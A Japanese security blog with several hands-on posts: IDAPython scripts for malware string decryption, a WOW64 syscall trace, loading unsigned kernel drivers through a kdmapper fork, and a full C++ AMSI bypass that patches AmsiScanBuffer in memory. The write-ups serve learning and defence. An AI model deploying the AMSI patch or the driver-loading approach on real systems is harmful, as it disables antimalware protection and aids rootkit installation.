Snoozy

1.Sleep-inducing; tedious.

Windows Kernel Mode Driverのreflectiveなロードをやってみる

Windows Kernel Mode Driverのreflectiveなロードをやってみる

最新のWindows OSに対して任意の非署名ドライバをロードするツールとしてkdmapperなどが知られている. kdmapperは脆弱なIntel製ドライバiqvw64e.sysをエクスプロイトし,任意のシステムルーチンを呼び出せるようにしたうえで,実行時引数に与えられた非署名ドライバをカーネルアドレス空間にロードし実行させることができる. また,GhostEmperorと呼ばれるアクティビティでは,CheatEngineに同梱される署名済みドライバdbk64.sysが非署名ドライバ(すなわちrootkit)をロードさせるローダーとして利用されたことが報告されている.

ここではそれらを参考にWindows Kernel Mode Driverのreflectiveなロードをやってみる.ドライバをロードするドライバを作成したうえで,ユーザー空間からDeviceIoControlをcallし,単純なメッセージをDbgViewに出力するドライバを読み込ませてみる.

kdmapperをforkして新しいbranchを切ってこれを調整する形で実装した.

https://github.com/ry0kvn/kdmapper/tree/2287593f44b63c0fa0909d1ce1e8fad3234bd741

実行すると以下のようにうまくメッセージを出力できているようだ.もちろんこれは非署名ドライバをロードできるテストモードでの実験だ.

やってることは新規性のない単純なWindowsシステムプログラミングでコードも不格好だ. しかし例えばGhostEmperorのやり方に倣えば,正規署名済みの脆弱なドライバを見つけてきて,IRP_MJ_DEVICE_CONTROLにパッチを当て,IRPをフックしたうえで,今回作成したドライバのコードをシェルコードなどの位置に依存しない形で配置してやれば,通常のDriver Signature Enforcement + PatchGuardが有効な実行環境で署名済みドライバを使って非署名ドライバをロードすることができるはずだ.

本来ならここまでやって記事化すべきだが間に合わなかったのでこれを公開する.

おわりに

このエントリは,IPFactory Advent Calendar 2021 21日目のエントリです.詳細はこちら

前日の記事は@n01e0nによる「おもしろマルウェアの解析」でした. 明日の記事は@futabatoによる「MBSD Cybersecurity Challenges 2021 参加記」です.楽しみですね.

IDAPythonによる解析の自動化をやってみる(動的解析編)

IDAPythonによる解析の自動化をやってみる(動的解析編)

前回の記事では,IDAPythonを使ってマルウェア解析工程の一部の自動化をやってみた.要約すると,IDAPythonを使って検体内に埋め込まれた暗号化されたAPI名を復号し,グローバルな変数をその値でリネームするというものだった.これにより動的にインポートされた関数ポインタがバイナリ内のどの場所でcallされたとしても,それがなんであるか判別できるようになった.また関数プロトタイプが適用されることで引数情報がIDAに反映され解析効率が上がるなどの効果もあった.一方で,即座に復号スクリプトを用意できないような複雑な,あるいは自明でない暗号方式を採用している検体に出くわした場合はどうすればよいだろうか.解析者は逆アセンブル結果やデコンパイル結果を見て復号スクリプトを書くことになるが,個人的にこれは非常に苦しい作業であるように思う.そこで動的解析の出番である.IDA Proはデバッガー機能も備えているのでこの問題にも対応できる.

ここでは前回のバイナリを例に,APIの動的なインポートをIDAのデバッガーとそれをIDAPythonスクリプトで制御することで解決してみる.静的解析では埒が明かないようなバイナリに対して強力なオプションになるだろう.

シナリオ

前回同様に次のような関数を解析対象に想定する.

f:id:snoozekvn:20211213145322p:plain

GetProcAddressで取得されるAPI名を取りたい.実行時にどのようにデータが受け渡しされるのかデバッガで処理を追ってみる. 以下はGetProcAddressで取得した値がデータ領域dword_8F3384に保存される直前にブレークポイントを設定し,レジスタとメモリの内容を表示した画像.

f:id:snoozekvn:20211213160601p:plain

GetProcAddressの戻り値としてEAXにアドレスが入っている.その横にIDAがシンボルをもとに[モジュール名]_[API名]という形でそのアドレスがどこを指しているのかを表示してくれている.また右下にはDecryptString関数で復号された文字列がメモリに載っている.このように目的の値が取れる個所はいくつかあるが,今回は前者のアドレスに対してIDAが表示してくれるシンボルを取ることにする.

IDAのデバッガーをIDAPythonで操作する

まず,次のようにしてGetProcAddressがcallされた次のアドレスを全て列挙し,ブレークポイントを設定する.

addr = get_name_ea_simple('GetProcAddress')
for x in XrefsTo(addr):
    if x.iscode:
        bp_addr = next_head(x.frm)
        add_bpt(bp_addr, BPT_DEFAULT)

単純にGetProcAddressを参照するすべてのアドレスを取ると不要なデータ領域のアドレスなども取れるため,iscodeでコード領域のアドレスだけを取っている.Breakpointsのリストを見ると確かにブレークポイントが設定されている.

f:id:snoozekvn:20211213145333p:plain

次にブレークポイントにconditionを設定する.conditionとは各ブレークポイントに設定できる条件のことで,ブレークポイント発火時に呼び出されるコールバック関数のようなものだ.この関数の戻り値がTrueなら通常通りブレークし,そうでない場合はブレークしない.条件付きブレークポイントは文字通りブレークポイントの条件分岐のための機能だが,condition内でレジスタやメモリ操作をすることでフックのような処理ができる.conditionの中でレジスタの値を取る処理とリネームする処理を加えれば今回の目的は達成できるだろう.

スクリプト

import ida_dbg
idaapi.enable_extlang_python(True) #1

def get_api_name_and_rename():
    ida_dbg.refresh_debugger_memory() #3
    api_name = get_name(get_reg_value('eax')).split('_')[-1] #4
    ea = get_reg_value('eip')
    print(">>> Conditional breakpoint called  on {} {}".format(hex(ea), api_name))

    try: #5
        set_cmt(ea, api_name, 0)
        set_name(get_operand_value(ea, 0), api_name)
    except:
        # If the return value of the code is True, the breakpoint will trigger.
        return True

    return False

addr = get_name_ea_simple('GetProcAddress')
for x in XrefsTo(addr):
    if x.iscode:
        bp_addr = next_head(x.frm)
        add_bpt(bp_addr, BPT_DEFAULT)
        enable_bpt(bp_addr, True)
        set_bpt_cond(bp_addr, "get_api_name_and_rename()") #2
        
print("[+] Conditional Break point installation completed!")
  1. enable_extlang_pythonをTrueにすることでconditionに登録する式をPythonで記述できるようにする
  2. set_bpt_condで条件付きブレークポイントを設定する.ブレークポイントのアドレスとconditionを設定する
  3. refresh_debugger_memoryでデバッガのバッファをリフレッシュする.これをしないと値が取れないなどおかしなことになる
  4. eaxのアドレスが指す場所の名前を取っている
  5. リネーム処理をtry文内で行う.例外が発生した場合は戻り値Trueを返してユーザーがデバッグしやすいようにブレークさせる

これを実行すると以下のような出力が得られる.GetProcAddressの値が得られており,コメントとリネーム処理もうまくいっているようだ.

f:id:snoozekvn:20211213145339p:plain

GetProcAddressがいくつもある以下のようなバイナリに対しても応用できる.

f:id:snoozekvn:20211213145326p:plain

スクリプトをこのバイナリ内で実行すると以下のような結果が得られうまく実行できているようだ.

f:id:snoozekvn:20211213145336p:plain

以上.

参考

https://adelmas.com/blog/ida_api_hooking.php

おわりに

このエントリは,IPFactory Advent Calendar 2021 13日目のエントリです.詳細はこちら.前日の記事は@y0d3nによる「スクショのためのchrome拡張機能を自作した」でした.明日の枠は@DuGlaserです.楽しみですね.

IDAPythonによる解析の自動化をやってみる(静的解析編)

IDAPythonによる解析の自動化をやってみる

アセンブラ,デコンパイラデファクトスタンダードなツールの一つにIDA Proがある.IDA ProはPythonを使ったスクリプティング機能を提供しており,この機能を使うことでプラグインといった形でIDA自身の機能を拡張したり,面倒な手動解析を自動化することができる.このエントリでは,マルウェア解析を例としてIDAPythonを使った解析工程の一部の自動化をやってみる.

シナリオ

マルウェア作者は悪意あるコード部分で使用するAPIを動的にインポートすることで,静的解析のハードルを上げようと試みることがある.つまり実行の初期の段階でグローバルな変数にAPIのアドレスを保存しておき,API使用時には関数ポインタとしてこれを呼び出す.こうすることにより静的解析を行う解析者からはcall命令でデータ領域のある値へジャンプするように見え,一見して動作がわからなくなる.

具体的には,WindowsにはAPIのアドレスを取得するAPIとしてGetProcAddressがあり,引数に使用したいAPI名を渡して使用する.マルウェア作者は解析難度を上げる狙いでこのAPI文字列を一度暗号化したうえで,実行時に復号し動的なAPIのインポートを行うことがある.解析者はインポートするAPI名を特定するため動的解析や自作の復号スクリプトを用いてこれを特定する.

ここでは以下のステップで動的解決されたAPI名を操作し,解析の自動化にトライしてみる.

  1. 暗号化された文字列の特定とその復号
  2. 復号した文字列でグローバル変数をリネーム
  3. 類似検体にも対応できるよう正規表現を使った解析の自動化

参考

IDAPythonに関する日本語情報はかなり少なく,基本的に既存のスクリプトを参考にIDA内臓のインタープリターで適宜実行して出力を確認しながらスクリプトを作成していくことになる.またIDAPythonは7.4以降からAPI名に変更があったため,古い記事を読んで混乱しないよう注意する必要がある.以下はこのエントリを書く際に参考にした資料.

環境

IDA Pro 7.6
Python 3.9
Visaul Studio 2019

解析対象コード

解析対象にする実行ファイルのコードを以下に示す.

#include <Windows.h>
#include <stdio.h>

using fAdjustTokenPrivileges = BOOL(WINAPI*)(_In_ HANDLE TokenHandle,  _In_ BOOL DisableAllPrivileges, _In_opt_ PTOKEN_PRIVILEGES NewState,    _In_ DWORD BufferLength,    _Out_writes_bytes_to_opt_(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,_Out_opt_ PDWORD ReturnLength);
fAdjustTokenPrivileges g_AdjustTokenPrivileges = nullptr;

char* DecryptString(char* Buffer, size_t BufferCount, const char* in)
{
    int i; 
    char* orig = Buffer;
    char key[56] = { 0x72,0x70,0x74,0x42,0x41,0x63,0x64,0x45,0x32,0x2e,0x71,0x4d,0x52,0x49,0x55,0x4a,0x6f,0x35,0x77,0x4b,0x36,0x47,0x73,0x56,0x4e,0x46,0x66,0x62,0x61,0x6a,0x58,0x67,0x78,0x34,0x59,0x5a,0x53,0x37,0x65,0x6d,0x79,0x30,0x43,0x7a,0x44,0x39,0x31,0x4c,0x6c,0x57,0x69,0x76,0x33,0x4f,0x75 };

  snprintf(Buffer, BufferCount, "%s", in);
  if (!*Buffer)
    return orig;
  do
  {
    i = 0;
    while (*Buffer != key[i])
    {
        if (++i >= 0x37)
            goto PASS;
    }
    *Buffer = key[(i + 8) % 0x37u];
    PASS:
    ;
  } while (*++Buffer);

  return orig;
}


void SolveAPI() 
{
    
    char buf[0x100] = { 0 };
    char* DLLName = nullptr;
    char* APIName = nullptr;
    
    // vOz6lCDrpOyy -> Advapi32.dll
    DLLName =  DecryptString(buf, 0x32, "vOz6lCDrpOyy");
    HMODULE hDLL = LoadLibraryA(DLLName);
    
    if (hDLL) {
        // vOG1UWT2kXnPLCzCyXVXU -> AdjustTokenPrivilege
        APIName = DecryptString(buf, 0x32, "vOG1UWT2kXnPLCzCyXVXU");
        g_AdjustTokenPrivileges = (fAdjustTokenPrivileges)GetProcAddress(hDLL, APIName);
    }
}

int main() {
    SolveAPI();
    
    // AdjustTokenPrivilegeを使ったmalicousなコードが続く

    return 0;
}

暗号化部分の実装は疑似的なものでご容赦願いたい.これをVisual StudioコンパイルしSolveAPIのデコンパイル結果をIDAで見ると次のようになる.

f:id:snoozekvn:20211206202920p:plain

dword_403384にGetProcAddressの戻り値が代入されているためこれが関数ポインタとして後続の処理でcallされると察しはつくが,シンボルがないためどのAPIかまでは特定できない.

暗号化された文字列を復号する

まずは暗号化された文字列を復号するスクリプトを作成する.復号関数をPythonで書き直すと以下のようになるだろう.

def decrypt(enc: str) -> str:
    key = "rptBAcdE2.qMRIUJo5wK6GsVNFfbajXgx4YZS7emy0CzD91LlWiv3Ou"
    dec = ""
    for e in enc:
        j = 0
        for k in key:
            if e == k:
                break
            if j >= 0x37:
                break
            j = j + 1
            
        if j >= 0x37:
            dec += e
        else:
            dec += key[(j+8) % 0x37]
    return dec

この関数に暗号化された文字列を渡せばよさそうだ.まずはアドレス(0x00402114)を決め打ちでやってみる.このアドレスは暗号化された文字列vOG1UWT2kXnPLCzCyXVXUが保持されているアドレスである.このアドレスをread_string関数に渡すと終端文字が見つかるまで1バイトずつ読んで文字列として返してくれる.

f:id:snoozekvn:20211206202924p:plain

画像左下部に実行結果が出力されている.うまく復号できているようだ.

すべての暗号化された文字列の取得

先の例では暗号化された文字列vOG1UWT2kXnPLCzCyXVXUのアドレスを決め打ちでスクリプトを作成した.次はこのアドレスの取得もスクリプトで自動化させる.そのために以下のようなコードを追加する.

def decrypt_string(func_addr: int) -> str:
    args_3 =  idaapi.get_arg_addrs(func_addr)[2] #4
    enc_data_addr = get_operand_value(args_3, 0) #5
    e = read_string(enc_data_addr)
    return DecryptString(e)
    
for x in XrefsTo(get_name_ea_simple('DecryptString')): #1
    xref_addr = x.frm #2
    if ida_bytes.is_code(ida_bytes.get_full_flags(xref_addr)): #3
        s = decrypt_string(xref_addr) 
        print('[+] {} at {}'.format(s, hex(xref_addr)))

このコードには説明が必要だろう.

  1. XrefsToはアドレスを与えるとそのアドレスを参照する全てのアドレスを順次返すgeneratorで,xrefクラスをコピーしたインスタンスが得られる.
  2. xrefクラスのメンバ変数frmに参照するアドレスが保持されているのでそれを取得
  3. ただしこれはバイナリ内の全ての参照なのでコード領域からの参照だけをみるようにする
  4. idaapi.get_arg_addrsは与えられたアドレスの関数プロトタイプに基づいて引数のアドレスを保持したリストを返す
  5. get_operand_valueでそのアドレスの指定されたオペランド番号の値を得る(IDAの逆アセンブル画面ではアドレス00401279オペランドoffset aVog1uwt2kxnplcとなっているがこれはIDAが気を利かせて表示を変えているということだ)

これを実行すると以下のようにDecryptStringの引数に与えられた暗号化された文字列を復号して表示してくれる.

f:id:snoozekvn:20211206202929p:plain

関数名指定部分の実装を抽象化

for x in XrefsTo(get_name_ea_simple('DecryptString')): #1にリネームした関数名DecryptStringをセットしてしまっている.これでは完全な自動化とは言えない.次はこの関数を特定する部分も自動化しよう.

正規表現を使ってこの関数だと判定できる一意な機械語のパターンを見つける.今回は以下のBufferへの代入処理をパターンとして選んだ.mkYaraというプラグインを使えば,逆アセンブル画面の注目したい範囲を選択したあと右クリックから機械語ベースのルールを作成できる.ルールの厳格さは3段階から調整でき,Looseなルールを選択すれば以下のように即値が入っているオペランドの値を自動でメタ文字に変えてくれるなど即座にルールを生成できておすすめだ.

f:id:snoozekvn:20211206202932p:plain

このパターンを検索するため以下のようなコードを追加した.

seg_mapping = {idc.get_segm_name(x): (idc.get_segm_start(x), idc.get_segm_end(x)) for x in idautils.Segments()} #1
start = seg_mapping['.text'][0]
end = seg_mapping['.text'][1]
pattern = "8B 45 ?? 83 C0 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 8B 45 ?? 8A 4C 15 ?? 88 08"
addr = ida_search.find_binary(start, end, pattern, 16, idc.SEARCH_DOWN) #2
func_addr = idaapi.get_func(addr).start_ea #3
print('[*] target function found at {}'.format(hex(func_addr)))
  1. idautils.Segmentsは解析対象バイナリ内のすべてのセグメントを順次返すgeneratorで,セグメント名をキー,開始アドレスと終端アドレスのタプルを値として持つ辞書としてseg_mappingに代入している.今回は`.text'セクション内のみ検索する
  2. ida_search.find_binaryは引数に与えられたパターンでstartとendの範囲を検索する
  3. パターンが見つかったアドレスをidaapi.get_funcに渡すことでそのアドレスが属する関数に関する情報を保持したクラスインスタンスを生成できる.この値をXrefsToに渡す

f:id:snoozekvn:20211206202935p:plain

このようにすれば複数検体が存在し,デコード関数の実装が多少変わったとしても自動化が可能だろう.

復号した文字列で変数をリネームする

復号した文字列を使ってグローバル変数をリネームしよう.リネームすることでこの変数の意味が明確になり解析がずっとしやすくなるはずだ.

def set_name_wrap(addr: int, name: str):
    i = 0
    while True:
        if (     print_insn_mnem(addr) == 'mov' #2
            and  get_operand_type(addr, 0) == o_mem 
            and  get_operand_type(addr, 1) == o_reg 
            and print_operand(addr, 1) == 'eax'):
            break
        elif i > 10:
            return
        else:
            addr = next_head(addr) #3
            i += 1
    set_name(get_operand_value(addr, 0), name, ida_name.SN_FORCE) #4
        
for x in XrefsTo(func_addr):
        # snip
        print('[+] {} at {}'.format(s, hex(xref_addr)))
        set_cmt(xref_addr, s, 0) #1
        set_name_wrap(xref_addr, s)
  1. set_cmtで逆アセンブル画面のアドレスにコメントを付与できる
  2. set_name_wrapでは逆アセンブル結果を一行ずつ走査し,オペランドのタイプやニーモニックをもとにして復号した文字列をグローバル変数に代入する処理を探す
  3. next_headで指定したアドレスの次のアドレスを得る.次のアドレスとはIDAが認識している次の命令のアドレスという意味である

これを実行すると以下のように,逆アセンブル画面ではDecryptStringの横に復号した文字列がコメント付けされ,デコンパイル画面では変数名がAdjustTokenPrivilegesとリネームされていることがわかる.

f:id:snoozekvn:20211206202938p:plain

Scaleする解析

ここまでの例では復号する文字列はたかだか2つであり,あまりスクリプト作成の恩恵を感じなかった.だが今回作成したスクリプトを使えば,以下のような手動でリネームすることが憚られるようなバイナリに対しても適用でき,自動化の恩恵を感じられるだろう.

f:id:snoozekvn:20211206202916p:plain

またバッチモードでIDAを利用すれば,複数ファイルにも対応できる.以下は指定したフォルダ内の検体ファイルを全て解析するPowerShellワンライナー.完全なヘッドレスモードで実行するにはida.exeではなくidat.exeを使用する.またスクリプトや解析対象のファイルパスはフルパス指定すること.

Get-ChildItem <path\to\folder> |  foreach {idat.exe -c -A -S<path\to\script>  $_.FullName }

f:id:snoozekvn:20211206211343p:plain

参考: running IDA python without gui

IDAPythonスクリプト

import idautils, idc, idaapi

def read_string(addr: int) -> str:
#read string from specific address
    res = ""
    while get_wide_byte(addr) != 0x0:
        s = get_wide_byte(addr)
        res += chr(s)
        addr += 1
    return res
    
def DecryptString(enc: str):
    key = "rptBAcdE2.qMRIUJo5wK6GsVNFfbajXgx4YZS7emy0CzD91LlWiv3Ou"
    dec = ""
    for e in enc:
        j = 0
        for k in key:
            if e == k:
                break
            if j >= 0x37:
                break
            j = j + 1
            
        if j >= 0x37:
            dec += e
        else:
            dec += key[(j+8) % 0x37]
    return dec

def decrypt_string(func_addr: int) -> str:
    args_3 =  idaapi.get_arg_addrs(func_addr)[2]      
    enc_data_addr = get_operand_value(args_3, 0)
    e = read_string(enc_data_addr)
    return DecryptString(e)

def set_name_wrap(addr: int, name: str):
    i = 0
    while True:
        if (    print_insn_mnem(addr) == 'mov' 
            and get_operand_type(addr, 0) == o_mem 
            and get_operand_type(addr, 1) == o_reg 
            and print_operand(addr, 1) == 'eax'):
            break
        elif i > 10:
            return
        else:
            addr = next_head(addr)
            i += 1
    set_name(get_operand_value(addr, 0), name, ida_name.SN_FORCE)


def main():    
    seg_mapping = {idc.get_segm_name(x): (idc.get_segm_start(x), idc.get_segm_end(x)) for x in idautils.Segments()}
    start = seg_mapping['.text'][0]
    end = seg_mapping['.text'][1]
    pattern = "83 C0 ?? 33 D2 ?? ?? ?? ?? ?? F7 ??"
    addr = ida_search.find_binary(start, end, pattern, 16, idc.SEARCH_DOWN)
    func_addr = idaapi.get_func(addr).start_ea
    print('[*] target function found at {}'.format(hex(func_addr)))

    for x in XrefsTo(func_addr):
        xref_addr = x.frm
        if ida_bytes.is_code(ida_bytes.get_full_flags(xref_addr)):        
            s = decrypt_string(xref_addr)
            print('[+] {} at {}'.format(s, hex(xref_addr)))
            set_cmt(xref_addr, s, 0)
            set_name_wrap(xref_addr, s)
            
    with open('<path/to/result>', 'a') as f:
        f.write('[+] Analysis complete: ' + get_input_file_path() + '\n')
    

if __name__ == '__main__':
    ida_auto.auto_wait()
    main()
    idc.exit()

終わりに

ここではIDAPythonスクリプトを使った解析の自動化をやってみた.バイナリの検索や変数のリネーム,バッチモードを使った複数ファイルへの適用などいずれもオーソドックスな使い方だ.IDAPythonを使えばこのほかにもバイナリへのパッチング,デバッガ操作による柔軟なデバッグなどをはじめとしたバイナリ操作はもちろん,Qtを使ったGUIプラグインの作成や独自アーキテクチャマシン語の解析などもできる.機会があればこれらも記事として公開したい.

このエントリは,IPFactory Advent Calendar 2021 6日目のエントリです.詳細はこちら

前日は,@DuGlaserによる「ただ移行するだけでいいのか?」でした.明日の枠は@n01e0です.楽しみですね.

amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる

amsi!AmsiScanBufferへのパッチによるAMSI Bypassをやってみる

この記事はIPFactoryアドベントカレンダー2020の22日目の記事です.

qiita.com

AMSIとは

docs.microsoft.com

AMSI(Windows Antimalware Scan Interface)は,Windows上で動くアプリケーションやサービスに対し,マルウェア対策プロバイダーにコンテンツを送信するためのインターフェースだ.

例えばPowerShellVBAマクロ等の入力値が悪質なコンテンツだと判定されたとき,その裏ではAMSIを通じたコンテンツのスキャンが行われている.具体的にはAMSIは以下のWindowsコンポーネントと統合されている.

公式の以下の図は,PowerShellVBScriptまたは開発者が独自に用意したコードがAMSIを呼び出し,ユーザーの入力値を検査出来ることを表している.

f:id:snoozekvn:20201223210206p:plain

引用:https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps

例えばPowerShellであれば,Amsi.dllからエクスポートされるAmsiScanBuffer,AmsiScanStrinにコンテンツを渡すことでスキャンが行われることがこの図から読み取れる.

しばらくのgooglingの後,現在AMSIスキャンをバイパスする手法の中でも,特にエクスポート関数AmsiScanBufferに注目した手法として,その引数や戻り値に注目したパッチ当てが知られていることが分かった.

https://www.contextis.com/en/blog/amsi-bypass

ここでは,上記記事を参考にしつつ,最も直感的な方法である,AmsiScanBufferへのパッチ当てによるAMSIバイパスをやってみる. 具体的には,最初にPowerShellプロセスにロードされたAmsi.dllの機能を確認したのち,AmsiScanBufferにパッチを当てることでコンテンツスキャンをバイパスしてみる.

検証に利用した環境は以下.

  • OS Name: Microsoft Windows 10 Enterprise Evaluation
  • OS Version: 10.0.19041 N/A Build 19041

AMSI機能チェック

バイパスコードを作成する前に,AMSIスキャンがどのように行われるのか確認してみる.

例えば以下のように,不審なコンテンツを実行しようとした場合,コンテンツの中身がmaliciousだと判定されブロックされてしまう.

f:id:snoozekvn:20201223210202p:plain

MSDNによると,AmsiScanBufferの関数プロトタイプは以下のようになっており,スキャン結果に関係がありそうなパラメータとして戻り値とresultが考えられる.

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

またAMSI_RESULTの定義は以下である.

f:id:snoozekvn:20201224004401p:plain

WinDbgで調査したところ,resultの値が0x0(AMSI_RESULT_CLEAN)かつ戻り値が0x0(S_OK)であれば,コンテンツの内容がクリーンなものとして判定されるようである.

f:id:snoozekvn:20201223210155p:plain

無害なコンテンツを与えた際のresultの参照先の値

f:id:snoozekvn:20201223210210p:plain

有害なコンテンツを与えた際のresultの参照先の値

また,関数のエントリー時のresultと戻り値は必ず0x0であることも分かった. したがって,関数冒頭を「xor rax rax ;ret」等のようにパッチを当てることでAMSIスキャンをバイパス出来る.

パッチコードの実装

これからamsi!AmsiScanBufferにパッチを当て,AMSIスキャンをバイパスするコードを作成する.

CreateProcessやLoadlibraryなどのように、DLLからエクスポートされる関数へのアドレスは,GetProcAddressなどを利用することによって簡単に求められる.しかし,パッチを当てる部分がDLL内部でのみ使用されるコードであった場合はどうであろうか.この場合GetProcAddressに頼ったアドレス取得では対応できない.そこでここでは,AmsiScanBufferを特定できる一意な機械語でメモリ領域を探索し,パッチを当てるアドレスを求めることにする.このようにすれば,AmsiScanBufferが将来的に内部関数として隠蔽されてしまったとしても,機械語を置き換えるだけで再利用できるコードになるはずだ.

まずAmsiScanBufferを一意に特定できる機械語を調査する.ここでは,関数の先頭数バイト分の機械語を採用することにする.

f:id:snoozekvn:20201223210159p:plain

パッチコードの処理の流れは大まかに次のようになっている.

  1. LoadLibraryを使ってAmsi.dllのベースアドレスを取得
  2. PEファイル内のOptionalHeader.SizeOfImageから,メモリ内に展開されたAmsi.dllのサイズを取得
  3. AmsiScanBufferを一意に特定できる機械語でメモリ内を検索
  4. 検索がヒットした場合,AmsiScanBufferの関数冒頭にパッチを当てる
#include<Windows.h>
#include<iostream>
using namespace std;

char patternOfAmsiScanBuffer[] = {
    0x4c, 0x8b, 0xdc,                //MOV        R11,RSP
    0x49, 0x89, 0x5b, 0x08,             //MOV        qword ptr[R11 + local_res8],RBX
    0x49, 0x89, 0x6b, 0x10,             //MOV        qword ptr[R11 + local_res10],RBP
    0x49, 0x89, 0x73, 0x18,             //MOV        qword ptr[R11 + local_res18],RSI
    0x57,                      //PUSH       RDI
    0x41, 0x56,                   //PUSH       R14
    0x41, 0x57,                   //PUSH       R15
    0x48, 0x83, 0xEC, 0x70                        //SUB        RSP,0x70

};

char patternOfPatch[] = {
    0x48, 0x31, 0xc0,                //XOR RAX,RAX
    0xc3                                               //RET
};

PVOID FindPattern(char* startAddress, char* patternBuff, SIZE_T patternSize, SIZE_T searchBytes)
{
    unsigned int i = 0;
    do
    {
        if (startAddress[i] == patternBuff[0])
        {
            for (size_t j = 1; j < patternSize; j++)
            {
                if (patternBuff[j] != startAddress[i + j])
                    break;

                if (j == patternSize - 1)
                {
                    return (LPVOID)(&startAddress[i]);
                }
            }
        }
        ++i;
    } while (i < searchBytes);

    return (PVOID)NULL;
}

int main() {

    HMODULE hAmsi = LoadLibraryExA("amsi.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
    if (hAmsi == NULL) {
        cout << "[-]Failed to get the base addr" << endl;
    }
    cout << "[+]Amsi.dll base addr: " << hAmsi << endl;

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hAmsi;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)hAmsi + dosHeader->e_lfanew);
    SIZE_T sizeOfImage = ntHeader->OptionalHeader.SizeOfImage;
    cout << "[+]SizeOfImage: " << sizeOfImage << endl;

    PVOID addressOfAmsiScanBuffer = FindPattern((char*)hAmsi, patternOfAmsiScanBuffer, sizeof(patternOfAmsiScanBuffer), sizeOfImage);

    if(addressOfAmsiScanBuffer == NULL){
        cout << "[-]Failed to get the pattern addr" << endl;
        return 0;
    }
    cout << "[+]addressOfAmsiScanBuffer: " << addressOfAmsiScanBuffer << endl;
    
    DWORD oldProtect = NULL;
    DWORD newProtect = PAGE_EXECUTE_READWRITE;
    VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), newProtect, &oldProtect);

    SIZE_T lpNumberOfBytesWritten = 0;
    if (!WriteProcessMemory(GetCurrentProcess(), addressOfAmsiScanBuffer, patternOfPatch, sizeof(patternOfPatch), &lpNumberOfBytesWritten)) {
        cout << "[-]Failed to patch the memory" << endl;
        return 0;
    }
    cout << "[+]Successful patched!!" << endl;
    cout << "[+]AMSI scan hash been disabled!!" << endl;

    VirtualProtect(addressOfAmsiScanBuffer, sizeof(patternOfPatch), oldProtect, &newProtect);
    CloseHandle(hAmsi);
    return 0;
}

実験

www.youtube.com

終わりに

この記事で行ったような,Amsi.dllに対するパッチによりスキャンをバイパスしようとする試みは既に多くの記事が公開されており,本稿はそれらを手本に作成された.このようなAmsi.dllに対するパッチの検知手法としては,メモリ内のネイティブコードのチェックやハッシュ値によるコード領域の改ざんチェックなどが考えられる.

実験では,メモリ内に有害なコンテンツが読み込まれたところで終わっているが,実際にはこの先の処理に進もうとするとWindows Defenderに検知されてしまう.この記事で紹介した内容は,銀の弾丸はおろか本質的にAMSIをバイパスできるものではなく,またアンマネージドコード等の理由からモダンな手法ともいえず優位性は高くないだろう.

参考

https://www.contextis.com/en/blog/amsi-bypass

https://blog.f-secure.com/hunting-for-amsi-bypasses/

https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/

https://modexp.wordpress.com/2019/06/03/disable-amsi-wldp-dotnet/

https://securityblog.jp/securityanalyst/contents/100108.php

WOW64でのSystemcallをトレースしてみる

WOW64でのSystemcallをトレースしてみる

この記事はIPFactory Advent Calendar 2020の4日目の記事です.

qiita.com

IPFactoryというサークルについてはこちらをご覧ください.

ipfactory.github.io

前日12/3はn01e0による「userfaultfdについてのメモ」でした.

www.feneshi.co

Heaven's Gateと呼ばれる手法を聞いたことがあるだろうか. ユーザーモードのフックをバイパスする手法として,WOW64上の32bitアプリケーションから64bitOSカーネルへのシステムコール遷移の一部を自前で実装してしまうというものだ.本稿では,Heaven's Gateを実装する準備としてWOW64のシステムコールをトレースし,その内部動作を大まかに掴んでみようと思う.

WOW64

MSDNのドキュメントによると,WOW64は32bitのアプリケーションを64bitのWindows上でシームレスに実行するためのx86エミュレータであるとのことだ.WOW64は現在のWindowsにおいてデフォルトで有効であり,ユーザーはbit数の異なる新旧のアプリケーションの違いを意識することなく実行することができる.

docs.microsoft.com

さて,以下の画像を見てほしい.WOW64の構成は図のようになっている.

f:id:snoozekvn:20201204224531p:plain

引用:https://www.atmarkit.co.jp/ait/articles/1007/01/news131.html

WOW64のAPIコールの仕組みは同@ITの解説がわかりやすい.以下に引用する.

 64bit Windows向けに作られたアプリケーションを実行する場合は、それぞれのアプリケーションごとに独立した1つの64bitプロセス空間が作成され、その中で実行される。  これに対してWin32アプリケーションを実行しようとすると、32bit版のWindows OSをエミュレーションするための環境(32bitプロセス空間)が作成され、その中でWin32アプリケーションが実行される。Win32アプリケーションが発行するAPIはエミュレーション用に用意された特別なDLLを経由して64bitのOSカーネルへ渡される。 引用: @IT 「第2回 Win32アプリケーションを実行するWOW64 (1/2)」

WOW64を構成する主要な64bitDLLは以下.

  • wow64.dll
  • wow64cpu.dll
  • wow64win.dll
  • ntdll.dll

WOW64上ではbit数の異なるDLLがロードされることになる.それぞれの格納元は次のとおり.

  • 32-bits %windir%\SysWOW64\
  • 64-bits %windir%\System32\

システムコールのトレースに使用するWinDbgはここからダウンロードすることができる.

docs.microsoft.com

なおWinDbg Previewを使用した場合,64bitコードと32bitコードを切り替えてのデバッグをうまく処理できなかったため,レガシー版のWinDbgを使用する.

また,検証に使ったOSのバージョンは以下.

OS Version:                10.0.19041 N/A Build 19041

64bitアプリケーションの場合

さて,WOW64のシステムコールをトレースする前に,64bitアプリケーションのシステムコールの遷移を改めて確認しておく.トレースするAPIは,特段の理由はないが,NtTerminateProcessを選択した.NtTerminateProcessを呼び出す適当なプログラムを用意し,WinDbgシステムコールをトレースしてみる.

最初にWinDbgでプログラムにアタッチ後,ブレークポイントを設置する.

f:id:snoozekvn:20201204224535p:plain

次に,gコマンドでブレークするまで処理を進ませる.以下の画像のように,eaxにシステムコール番号らしき値が格納され,syscall命令が実行されるようだ.

f:id:snoozekvn:20201204224539p:plain

32bitアプリケーションの場合

